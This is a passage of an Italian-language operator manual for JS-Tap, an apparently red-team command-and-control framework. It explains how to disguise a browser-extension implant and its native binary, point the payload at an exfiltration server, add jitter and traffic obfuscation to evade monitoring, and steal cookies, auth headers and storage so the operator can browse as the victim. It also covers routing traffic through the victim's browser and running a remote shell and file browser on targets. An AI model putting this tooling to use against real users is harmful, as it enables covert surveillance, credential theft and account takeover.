Il parametro dataDirectory dice a JS-Tap quale directory usare per il database SQLite e la directory del bottino. Non tutto il "bottino" è memorizzato nel database, in particolare screenshot e file HTML scaricati.
Per cambiare la configurazione della porta del server, consulta l'ultima riga di jsTapServer.py.``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### Configurazione del Beacon BEX (config.json)
Situato in `bex-beacon/config.json`. Questa è l'**unica fonte di verità** per tutta la configurazione di build — estensioni, ID delle estensioni e impostazioni sidecar.```json
{
"extension": {
"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
Controls the extension's manifest metadata and deployment naming. Change these fields to disguise the extension's appearance in chrome://extensions or about:addons.
Controls static extension IDs for deterministic builds. See Static Extension IDs for setup instructions.
| Field | Description |
|---|---|
domain | Hostname or IP of your JS-Tap server. |
port | Port the JS-Tap server is listening on. |
Controls how often the beacon checks in with the server to report telemetry and pick up new tasks (like injection commands or sidecar commands).
| Field | Description |
|---|
Jitter is important for OPSEC — it prevents the beacon from creating a perfectly regular network pattern that could be detected by network monitoring tools. Each heartbeat schedules the next one with fresh randomness.
Controls which domains the beacon monitors and interacts with.
| Field | Description |
|---|---|
whitelist_enabled | = monitor all domains (all_domains mode). = only monitor domains matching the whitelist patterns. |
When the whitelist is enabled, the beacon enforces it at multiple layers:
This is critical for red team engagements with strict scoping requirements. Setting whitelist_enabled: true ensures the beacon will not interact with out-of-scope domains.
Example whitelist patterns:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
Controlla la funzionalità opzionale di native messaging nel BEX Beacon. Vedi la sezione [Sidecar](#sidecar-native-messaging) sopra per i dettagli completi.
| Campo | Descrizione |
|---|---|
| `enabled` | `false` = nessun native messaging (predefinito). `true` = abilita il supporto sidecar. Aggiunge il permesso `nativeMessaging` al manifest dell'estensione. |
| `host_name` | Il nome host per il native messaging. Predefinito: `com.jstap.sidecar` |
| `binary_name` | Nome del binario sidecar compilato. Predefinito: `sidecar`. Modificalo per mascherare il binario sui sistemi target (es. `chrome-helper`). |
Lo script di build unificato sincronizza automaticamente gli ID delle estensioni da `extension_ids` alla configurazione del sidecar, quindi è necessario configurare gli ID solo in un unico posto.
### Configurazione del Payload JS-Tap (telemlib.js)
Queste variabili di configurazione si trovano nella funzione **initGlobals()**.
#### Posizione del Server JS-Tap
È necessario configurare il payload con l'URL del server JS-Tap a cui si collegherà.```
window.taperexfilServer = "https://127.0.0.1:8444";
Imposta su trap o implant Questo viene impostato con la variabile:``` window.taperMode = "trap"; or window.taperMode = "implant";
#### Pagina iniziale della modalità trap
Necessaria solo per la modalità trap. Vedi spiegazione nella sezione **Modalità operative** sopra.<br>Imposta la pagina su cui l'utente inizia quando il trap iFrame è impostato.```
window.taperstartingPage = "http://targetapp.com/somestartpage";
Se vuoi che la trappola inizi sulla pagina corrente, invece di reindirizzare l'utente a una pagina diversa nella trappola iframe, puoi usare:``` window.taperstartingPage = window.location.href;
#### Tag Client
Utile se stai usando JS-Tap contro più applicazioni o distribuzioni contemporaneamente e desideri un indicatore visivo di quale payload è stato caricato. Ricorda che l'intera directory /payloads viene servita; puoi avere più payload JS-Tap configurati con diverse modalità, pagine di avvio e tag client.
Questa stringa di tag (mantienila breve!) viene anteposta al nickname del client nel portale JS-Tap. Imposta più payload, ciascuno con la configurazione appropriata per l'applicazione contro cui viene utilizzato, e aggiungi un tag che indichi a quale app appartiene il client.```
window.taperTag = 'whatever';
Usato per configurare se i client controllano le attività Custom Payload e con quale frequenza lo fanno. Le impostazioni di jitter ti permettono di impostare opzionalmente un modificatore minimo e massimo. Verrà scelto un valore casuale tra questi due numeri e aggiunto al ritardo di controllo. Imposta questi a 0 e 0 per nessun jitter.``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### Impronta digitale del client
Questa funzione può essere abilitata per calcolare un'impronta digitale del client basata su numerosi attributi. Da questa impronta viene creato un hash molto breve. Questo hash breve può essere opzionalmente visualizzato sulla scheda del client abilitandolo in **App SettingS**. Il filtro dell'elenco client può essere filtrato su questa impronta per identificare più client JS-Tap che probabilmente sono in esecuzione sullo stesso computer. Nota che se un'impresa fornisce sistemi identici agli utenti, questi potrebbero facilmente ottenere lo stesso valore di impronta.
Per abilitare i calcoli dell'impronta nel payload JS-Tap:```
window.taperFingerprint = true;
Anche se l'impronta digitale è in fase di calcolo, non verrà visualizzata nelle schede client finché la funzione non è abilitata anche in App Settings.
Nota: è possibile filtrare l'elenco dei client per hash dell'impronta digitale per mostrare i client che hanno più probabilità di essere lo stesso computer.
Impostazione true/false che determina se una copia del codice HTML di ogni pagina visualizzata viene esfiltrata. Questi file HTML esfiltrati sono necessari per trovare le fonti dei token CSRF durante la generazione automatica di payload personalizzati per l'invio di moduli.``` window.taperexfilHTML = true;
#### Copia delle sottomissioni di moduli
Impostazione true/false per stabilire se intercettare una copia di tutti gli invii dei moduli.```
window.taperexfilFormSubmissions = true;
Abilita il monkeypatching delle API XHR e Fetch. Funziona in modalità trap. In modalità implant, solo le API Fetch vengono modificate con monkeypatch. Il monkeypatching consente di riscrivere JavaScript in fase di esecuzione. Abilitare questa funzione riscrive le API di rete XHR e Fetch utilizzate dal codice JavaScript per intercettare i contenuti di quelle chiamate di rete. Nota che le chiamate di rete basate su jQuery e Ajax verranno catturate nell'API XHR, che utilizzano internamente per le chiamate di rete. La generazione automatica di payload personalizzati per le chiamate API dipende, ovviamente, dall'intercettazione delle chiamate API tramite questa funzione di monkeypatch.``` window.monkeyPatchAPIs = true;
## JS-Tap Portal
Accedi con le credenziali di amministratore fornite dallo script del server all'avvio (salvate anche in `adminCreds.txt`).
### Gestione dei Client
I client vengono visualizzati a sinistra, raggruppati per tipo. Usa i pulsanti di attivazione nella parte superiore dell'elenco dei client per passare da una visualizzazione all'altra.
* **App** — Client DOM Beacon (dai payload telemlib.js)
* **Browser** — Client BEX Beacon
* **Electron** — Client Atom Beacon (da app Electron modificate)
* **Node** — Client V8 Beacon (da app CLI Node.js/Bun)
Selezionando un client verrà mostrata una serie temporale dei suoi eventi (bottino) sulla destra. Se filtri l'elenco (ad es. passando da App a Browser), la visualizzazione del bottino attualmente selezionata si affievolirà e diventerà in scala di grigi per indicare che si tratta di dati "di sfondo".
Quando ci si trova nella visualizzazione **Browser**, l'intestazione della colonna dei dettagli mostra un interruttore **Bottino / Strumenti**:
* **Scheda Bottino** — Schede dei domini che mostrano i domini visitati e i controlli di iniezione.
* **Scheda Strumenti** — Pannello Browser Proxy (sempre visibile) e pannello Sidecar (compattibile, se il beacon lo supporta).
I client Atom Beacon (nella visualizzazione **Electron**) e i client V8 Beacon (nella visualizzazione **Node**) hanno anch'essi un interruttore **Bottino / Strumenti**. Il loro pannello Strumenti fornisce navigazione file integrata e accesso alla shell senza richiedere un binario sidecar separato. Gli Atom Beacon hanno inoltre controlli per gli screenshot.
**BEX Beacon (Browser)** possono essere espansi per vedere tutti i domini che hanno visitato. Puoi attivare l'iniezione del DOM Beacon dall'elenco dei domini. Le schede BEX Beacon nella barra laterale mostreranno un riepilogo di eventuali DOM Beacon che hanno generato con successo.
L'elenco dei client può essere ordinato per tempo (prima vista, ultimo aggiornamento ricevuto) e può essere filtrato per mostrare solo i client "preferiti". C'è anche una ricerca rapida sopra l'elenco dei client che permette di filtrare rapidamente i client che contengono la stringa inserita. Utile se hai impostato un tag opzionale nella configurazione del payload. I tag opzionali appaiono anteposti al soprannome del client. Il filtro viene controllato rispetto al tag opzionale, soprannome, indirizzo IP, impronta digitale, browser, piattaforma, tipo di client, dominio e UUID. Nota che puoi invertire la ricerca del filtro anteponendo al termine di ricerca un '!'. Ad esempio, per mostrare tutti i client che non usano Firefox usa il termine di filtro "!firefox". Puoi combinare più termini con `&&` per logica AND (es. `linux && chrome && !bex`).
Ogni client ha un pulsante 'x' (vicino al pulsante stella). Questo ti permette di eliminare la sessione per quel client; se sta inviando dati spazzatura o inutili, puoi impedire a quel client di inviare dati futuri.
Quando il payload JS-Tap si avvia, recupera una sessione dal server JS-Tap. Se vuoi interrompere l'emissione di nuove sessioni client, seleziona **Impostazioni App** in alto e puoi disabilitare le nuove sessioni client. Puoi anche abilitare la visualizzazione delle "impronte digitali" del client, che sono valori hash molto brevi che dovrebbero essere unici per il browser di un utente su un determinato sistema. Questo può aiutare a identificare quali client JS-Tap potrebbero essere lo stesso individuo. Nota che il client JS-Tap deve essere configurato per eseguire i calcoli dell'impronta digitale. La barra di ricerca del filtro client cerca anche nel campo dell'impronta digitale, quindi è facile mostrare i client con impronte digitali identiche.
Puoi anche configurare le notifiche email in **Impostazioni App** per ricevere notifiche su nuovi client o nuovi eventi per i client. Questo è basato solo su SMTP (TLS), e puoi far sì che le email di notifica vadano a più destinatari. Un'opzione "ritardo email" evita lo spam costante di email; riceverai un'email riepilogativa di tutte le notifiche avvenute nel periodo di ritardo.
Puoi modificare la frequenza con cui l'elenco dei client si aggiorna automaticamente nelle **Impostazioni App** e puoi anche bloccare indirizzi IP specifici dal ricevere una sessione JS-Tap qui.
Se vuoi nascondere meglio il traffico di rete JS-Tap dall'ispezione, in **Impostazioni App** abilita l'offuscamento del traffico. Questo funzionerà su applicazioni che utilizzano HTTPS dove l'API webcrypto è disponibile. Il client JS-Tap crittograferà tutto il traffico a livello di applicazione e lo invierà a un singolo endpoint API sul server C2, che lo decrittograferà e lo instraderà lato server. Le risposte dal C2 JS-Tap (come i payload personalizzati) provengono anch'esse da questo singolo endpoint API e sono anch'esse crittografate. Nota che se il browser intercettato non supporta l'API web crypto, JS-Tap tornerà al tradizionale traffico non offuscato.
Ogni client ha una funzione "note". Se trovi informazioni interessanti per quel particolare client (credenziali, token API, ecc.) puoi aggiungerle alle note del client. Dopo aver esaminato tutti i tuoi client e aver creato le tue note, la funzione **Visualizza tutte le note** in alto ti permette di esportare tutte le note di tutti i client in una volta.
L'elenco degli eventi può essere filtrato per tipo di evento se stai cercando di concentrarti su qualcosa di specifico, come gli screenshot. Per i client DOM Beacon, l'elenco degli eventi/bottino _non_ si aggiorna automaticamente (lo fa l'elenco dei client) — se vuoi caricare gli ultimi eventi devi selezionare nuovamente il client a sinistra. I client Atom Beacon e BEX Beacon utilizzano una visualizzazione degli eventi ad aggiornamento automatico che aggiunge incrementalmente nuovi eventi senza resettare la posizione di scorrimento.
### Iniezione BEX
Quando visualizzi le informazioni di dominio di un Beacon, puoi fare clic su **Inietta DOM Beacon** per accodare un'iniezione.
* Un badge "SUCCESSO" apparirà una volta richiesto lo script di iniezione.
* Il soprannome del DOM Beacon generato sarà automaticamente collegato e visualizzato sulla scheda del dominio e sulla scheda laterale del beacon.
* Le iniezioni avvengono immediatamente se l'utente si trova attualmente sul dominio di destinazione, o alla visita successiva.
### Ticket JS-Tap e JS-Tap Conductor (Clonazione di Sessione)
Il BEX Beacon cattura i cookie (inclusi httpOnly), localStorage, sessionStorage e le intestazioni di autorizzazione per ogni dominio visitato dal target. **I Ticket JS-Tap** ti permettono di esportare tutti quei dati di sessione come un blob portatile, e **JS-Tap Conductor** li riproduce nel tuo browser in modo che tu possa navigare come la vittima.
#### Generazione di un Ticket JS-Tap
1. Nel portale JS-Tap, seleziona un client BEX Beacon ed espandi il suo elenco di domini.
2. Fai clic sul pulsante **Ticket di Sessione** sulla scheda del dominio che vuoi clonare.
3. Il ticket viene copiato negli appunti come stringa codificata in base64.
Un ticket contiene:
- Tutti i cookie per il dominio (con i metadati httpOnly, secure, sameSite, path, domain e scadenza)
- Intestazioni di richiesta catturate (Authorization, x-api-key, ecc.)
- Coppie chiave/valore di localStorage e sessionStorage
- La stringa User-Agent grezza della vittima, piattaforma e browser
- URL visitati per il dominio (più recenti per primi)
**Importante:** Assicurati di generare il ticket dalla voce di dominio corretta. Ad esempio, `reddit.com` e `www.reddit.com` sono voci di dominio separate nei dati del beacon — scegli quella che contiene i cookie di autenticazione.
#### Installazione di JS-Tap Conductor
JS-Tap Conductor è un'estensione standalone per Firefox MV2. **Deve essere Firefox** — si basa sull'API `webRequestBlocking` di Firefox MV2 per iniettare intestazioni nelle richieste in uscita, cosa che Chrome MV3 non supporta.
Per caricarlo come estensione temporanea:
1. Apri Firefox e vai su `about:debugging#/runtime/this-firefox`
2. Fai clic su **"Carica componente aggiuntivo temporaneo..."**
3. Sfoglia la directory `jstap-conductor/` e seleziona `manifest.json`
L'icona di JS-Tap Conductor (il logo JS-Tap) apparirà nella barra degli strumenti di Firefox. Le estensioni temporanee persistono fino alla chiusura di Firefox — dovrai ricaricarle dopo un riavvio.
#### Utilizzo di JS-Tap Conductor
1. Fai clic sull'icona di JS-Tap Conductor nella barra degli strumenti per aprire il popup.
2. Incolla il ticket JS-Tap nell'area di testo e fai clic su **Importa**.
3. JS-Tap Conductor farà:
- **Imposta tutti i cookie** per il dominio, inclusi i cookie httpOnly (le estensioni hanno questo privilegio).
- **Registra l'iniezione di intestazione** — Le intestazioni Authorization e altre intestazioni catturate vengono iniettate in ogni richiesta corrispondente tramite `webRequest.onBeforeSendHeaders`.
- **Spoof User-Agent** — La stringa User-Agent della vittima sostituisce la tua in tutte le intestazioni delle richieste in uscita per quel dominio.
- **Popola l'archivio** — Le voci di localStorage e sessionStorage vengono scritte quando navighi verso il dominio.
- **Spoof delle API navigator** — Anche se stai usando Firefox, `navigator.userAgent`, `navigator.platform` e `navigator.appVersion` vengono monkeypatchati nel contesto JavaScript della pagina per restituire i valori della vittima. Questo aggira i controlli UA lato client.
4. Fai clic su **Apri** sul ticket importato per navigare verso il primo URL catturato, oppure naviga manualmente al dominio.
5. Ora dovresti navigare come la sessione della vittima.
Il popup mostra una **cronologia dei ticket** (ultimi 10 ticket) con conteggi badge per cookie, intestazioni, elementi di localStorage e sessionStorage. Sia i ticket di sessione che i ticket proxy appaiono nella cronologia. Ogni ticket può essere attivato/disattivato o eliminato. I ticket proxy sono distinti visivamente con un badge "proxy" che mostra la porta di destinazione e i domini.
Usa **Disattiva** per disabilitare l'iniezione di sessione di un ticket senza perderlo, o **Elimina** per rimuoverlo definitivamente.
#### Verifica del Funzionamento
- **Cookie:** Apri Strumenti Sviluppatore di Firefox → Archiviazione → Cookie. Dovresti vedere tutti i cookie importati, inclusi quelli httpOnly.
- **Intestazioni:** Apri Strumenti Sviluppatore → scheda Rete. Controlla che le intestazioni Authorization e User-Agent sulle richieste in uscita corrispondano ai valori della vittima.
- **Archiviazione:** Apri Strumenti Sviluppatore → Archiviazione → Archiviazione locale / Archiviazione sessione. Verifica che le chiavi importate siano presenti.
- **Spoofing di Navigator:** Apri la console del browser e digita `navigator.userAgent` — dovrebbe restituire la stringa UA della vittima, non quella di Firefox.
### Proxy del Browser
Il Proxy del Browser ti permette di instradare il traffico del tuo browser attraverso il browser della vittima (o processo Node.js/Electron) in tempo reale. Le richieste vengono eseguite dal contesto di rete della vittima, quindi il sito di destinazione vede l'IP e l'impronta digitale TLS della vittima.
Il proxy è supportato da **BEX Beacon**, **Atom Beacon** e **V8 Beacon**.
#### Come Funziona
1. Seleziona un beacon nel portale e passa alla scheda **Strumenti**.
2. Fai clic su **Avvia Proxy** sul pannello Browser Proxy. Il server assegna una porta locale (mostrata nel pannello).
3. Configura il tuo browser per usare `127.0.0.1:<port>` come proxy HTTP/HTTPS.
4. Scarica il **Certificato CA** e installalo nel magazzino certificati del tuo browser (necessario per MITM HTTPS).
5. Naviga normalmente — tutte le richieste vengono inoltrate attraverso la connessione WebSocket del beacon ed eseguite dalla rete della vittima.
Il proxy esegue la terminazione TLS utilizzando certificati per dominio generati dinamicamente firmati dalla CA JS-Tap. Questo gli permette di ispezionare e inoltrare il traffico HTTPS in modo trasparente.
#### Flussi di Lavoro Componibili
Il proxy è un "tubo stupido" — inoltra esattamente ciò che il browser dell'operatore invia, senza iniettare o modificare le credenziali. Questo lo rende componibile con i Ticket di Sessione per quattro flussi di lavoro distinti:
| Flusso di lavoro | Configurazione | Risultato |
|---|---|---|
| **Solo proxy** | Avvia proxy, nessun ticket di sessione | Navigazione non autenticata attraverso la rete/IP della vittima |
| **Solo ticket di sessione** | Importa ticket di sessione in Conductor, nessun proxy | Navigazione autenticata direttamente dall'IP dell'operatore |
| **Proxy + ticket di sessione** | Sia proxy che ticket di sessione attivi | Navigazione autenticata attraverso la rete della vittima — il Conductor inietta cookie/intestazioni/UA nel browser dell'operatore, il proxy MITM li inoltra al beacon |
| **Proxy + login proprio** | Avvia proxy, effettua il login manualmente attraverso il proxy | Sessione propria dell'operatore attraverso la rete della vittima |
Per il flusso di lavoro **Proxy + ticket di sessione**, JS-Tap Conductor gestisce tutta l'iniezione di sessione (cookie, intestazioni, User-Agent, archiviazione, spoofing di navigator). Il proxy MITM inoltra la richiesta completa dell'operatore — incluse le intestazioni iniettate — al beacon, che esegue il fetch dalla rete della vittima.
#### Ticket Proxy
Mentre il proxy è attivo, puoi fare clic su **Ticket Proxy** per generare un ticket compatibile con JS-Tap Conductor che configura automaticamente le impostazioni proxy del Conductor. Importa il ticket proxy nel Conductor per instradare il traffico di Firefox attraverso il beacon senza configurare manualmente le impostazioni proxy.
### Utilizzo del Pannello Sidecar / Strumenti
Quando un client BEX Beacon ha il Sidecar connesso, la scheda **Strumenti** mostrerà un pannello **Sidecar** (compresso per impostazione predefinita, sotto il pannello Browser Proxy). I client Atom Beacon e V8 Beacon mostrano lo stesso pannello come **Strumenti** con un badge **Integrato** (poiché l'accesso al sistema operativo è nativo per l'agente). Il pannello ha schede:
#### Scheda Esplora File
- L'esplora file elenca automaticamente la directory home dell'utente quando il pannello viene caricato per la prima volta
- Naviga facendo clic sui nomi delle cartelle o sulla voce `..` per salire di una directory
- Il campo del percorso riflette sempre la tua posizione corrente e può essere modificato manualmente
- Fai clic su **Leggi** su un file per visualizzarne il contenuto (decodificato in base64 e mostrato come testo)
- Fai clic su **Torna all'elenco delle directory** per tornare dalla vista del file
- **Carica:** Seleziona un file e fai clic su **Carica** per scriverlo nella directory correntemente esplorata. L'elenco si aggiorna automaticamente dopo un caricamento riuscito. La dimensione massima del file è 700 KB.
#### Scheda Shell
- Un terminale interattivo con tracciamento della directory di lavoro (CWD) tra i comandi
- Il prompt mostra la tua directory corrente sul sistema di destinazione (es. `/home/user $ `)
- Digita un comando e premi **Invio** o fai clic su **Esegui** per eseguirlo
- La CWD persiste tra i comandi (`cd /tmp` seguito da `ls` elencherà `/tmp`)
- **Cronologia comandi:** Usa i tasti freccia **Su/Giù** per scorrere i comandi precedenti
- **Estrai:** Fai clic sul pulsante **Estrai** per aprire la shell in una finestra separata con la propria barra del titolo, cronologia completa dei comandi e funzionamento indipendente
- L'output è codificato a colori: verde per i prompt, bianco per stdout, rosso per stderr
- Il tracciamento della CWD utilizza la sintassi della shell POSIX e funziona su target Linux/macOS
#### Scheda Screenshot (solo Atom Beacon)
- **Cattura ora** — Attiva manualmente uno screenshot di tutte le finestre tracciate
- **Interruttori di cattura automatica** — Abilita/disabilita screenshot automatici su eventi di focus finestra, navigazione e nuova finestra
- **Cooldown** — Secondi minimi tra catture automatiche per finestra (predefinito: 30, minimo: 5)
- Fai clic su **Salva impostazioni** per inviare le modifiche degli interruttori/cooldown all'agente in tempo reale
**Nota:** I comandi sono asincroni. Quando invii un comando, l'interfaccia utente interroga per i risultati. Il beacon/agente deve effettuare il check-in (heartbeat) per raccogliere il comando e rispedire il risultato. Con le impostazioni predefinite dell'heartbeat, aspettati un ritardo di alcuni secondi.
### Payload Personalizzati
È possibile aggiungere più payload JavaScript nel portale JS-Tap ed eseguirli su un singolo client, su tutti i client correnti o impostarli per l'esecuzione automatica su tutti i client futuri. I payload possono essere scritti/modificati all'interno del portale JS-Tap o importati da un file. I payload possono anche essere esportati. Il formato per l'importazione dei payload è semplice JSON. Il codice JavaScript e la descrizione sono semplicemente codificati in base64.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
Se il tuo payload personalizzato deve esfiltrare dati, puoi usare il metodo customExfil(note, data). Chiamare questo metodo nel tuo payload personalizzato invierà quei dati testuali a JS-Tap e verranno visualizzati come un evento nei dati del bottino.
L'interfaccia utente principale per i payload personalizzati si trova nella barra dei menu in alto. Seleziona Custom Payloads per aprire l'interfaccia. Eventuali payload esistenti verranno mostrati in un elenco a sinistra. La barra dei pulsanti consente di importare ed esportare l'elenco. I payload possono essere modificati sul lato destro, anche se puoi premere il pulsante Expand Code per ottenere un riquadro di modifica del codice più grande. Per caricare un payload esistente per la modifica, seleziona il payload facendo clic su di esso nell'elenco Saved Payloads. Una volta definiti e salvati i payload, puoi eseguirli sui client.
Nella vista principale Custom Payloads puoi lanciare un payload contro tutti i client correnti (il pulsante Run). Puoi anche attivare l'attributo Autorun di un payload, il che significa che tutti i nuovi client eseguiranno il payload. Nota che i client esistenti non eseguiranno un payload basato sull'impostazione Autorun.
Puoi attivare Repeat e il payload verrà assegnato a ciascun client quando controllano i compiti. Ricorda, la frequenza con cui un client controlla i compiti del payload personalizzato è variabile e tale frequenza può essere modificata nella configurazione principale del payload JS-Tap. Tale frequenza può essere modificata con un payload personalizzato (chiamando la funzione updateTaskCheckInterval(newDelay)). Il jitter nel ritardo del controllo dei compiti può essere impostato con la funzione updateTaskCheckJitter(newTop, newBottom).
Il pulsante Clear All Jobs nell'interfaccia del payload personalizzato eliminerà tutti i lavori del payload personalizzato dalla coda per tutti i client e reimposta gli interruttori di esecuzione automatica/ripetuta.
Per eseguire un payload su un singolo client, usa il pulsante Run Payload sul client specifico su cui desideri eseguirlo, quindi premi il pulsante Run per il payload specifico che desideri utilizzare. Puoi anche impostare Repeat su singoli client.
Le regole di targeting ti permettono di eseguire automaticamente payload sui client che corrispondono a criteri specifici, invece di selezionare manualmente singoli client o eseguire alla cieca su tutti i client.
Fai clic sul pulsante Add Rule su un payload per creare una regola di targeting. Le regole utilizzano la stessa sintassi di filtro della barra di ricerca dei client:
&& per combinare i termini (es. linux && chrome)! per negarlo (es. !bex-beacon)Esempio: linux && chrome && !bex corrisponderà a tutti i client Linux Chrome che non sono BEX Beacon.
Prima di salvare una regola, puoi fare clic su Preview per vedere quali client attualmente connessi corrisponderebbero. L'anteprima mostra mini schede client con le stesse informazioni dell'elenco principale dei client (tag/nickname, timestamp, IP, piattaforma, browser, dominio).
Ogni regola di targeting ha i propri controlli Autorun, Repeat e Run che funzionano come i pulsanti a livello di payload ma influenzano solo i client che corrispondono alla query di filtro della regola. Puoi anche Modificare o Eliminare singole regole. Un payload può avere più regole di targeting.
JS-Tap include la capacità di generare automaticamente payload personalizzati. Questa funzionalità sfrutta la capacità di intercettare le sottomissioni di moduli e le chiamate API XHR/Fetch. JS-Tap può utilizzare quelle comunicazioni intercettate come prototipo per costruire un payload intorno.
I parametri nella richiesta saranno impostati da variabili all'inizio del payload autogenerato, facilitando la modifica dell'azione in corso. Le sottomissioni di moduli che necessitano di un token CSRF e le chiamate API XHR/Fetch che richiedono un header Authorization saranno gestite dalla procedura guidata di mimic; puoi selezionare questi valori nella sottomissione del modulo/chiamata API intercettata e JS-Tap cercherà nel suo database per determinare da dove provengono questi valori.
Verrà generato un payload che prima recupera il valore corrente di questi elementi nel browser dell'utente, poiché questi valori saranno probabilmente diversi nel tempo e tra utenti diversi. I valori recuperati verranno utilizzati nella richiesta successiva che passa i parametri modificati al server per eseguire l'azione che viene "imitata".
Se salti la ricerca di questi valori, la richiesta non li ha, o JS-Tap non riesce a trovare la fonte, verrà generato un payload che utilizza i token CSRF e i valori dell'header Authorization dalla richiesta intercettata originale.
Per utilizzare la funzionalità di mimic per creare payload autogenerati, trova una sottomissione di modulo o una chiamata API intercettata e premi il pulsante Create Mimic Payload sulla scheda dell'evento nella colonna del bottino. Questo aprirà la procedura guidata in cui selezioni un token CSRF (per le sottomissioni di moduli) o gli header Authorization per le chiamate API. Dovrai copiare il nome del parametro/header nel campo del nome e il valore del token nel campo del valore. Una volta fatto, premi il pulsante Search per permettere a JS-Tap di determinare dove questi valori sono memorizzati o recuperati.
Se JS-Tap trova la fonte di questi valori, premendo avanti genererà il payload e lo inserirà nel sistema C2 come nuovo payload. Modifica il nome del payload, la descrizione e i valori dei parametri all'inizio del codice generato secondo le tue impostazioni desiderate e salvalo. Puoi quindi eseguire quel payload sui client JS-Tap.
JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator
## Strumenti
Alcuni strumenti sono inclusi nella sottodirectory tools.
### clientSimulator.py
Un simulatore di client asincrono che crea 12 client fittizi diversi (varie combinazioni di OS/browser), li registra con il server, invia dati di loot realistici e interroga per compiti di payload personalizzati. Utile per testare regole di targeting, filtraggio delle corrispondenze, comportamento di esecuzione automatica/ripetizione e consegna di payload personalizzati.```bash
python3 tools/clientSimulator.py
Opzioni:``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot
JS-Tap eseguito con gunicorn scala abbastanza bene.
### MonkeyPatchApp
Una semplice applicazione usata per testare il monkeypatching di XHR/Fetch, ma può fornirti una semplice app per testare il payload in generale.
Esegui con:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py
Per impostazione predefinita, questo avvierà l'applicazione in esecuzione su:``` https://127.0.0.1:8443
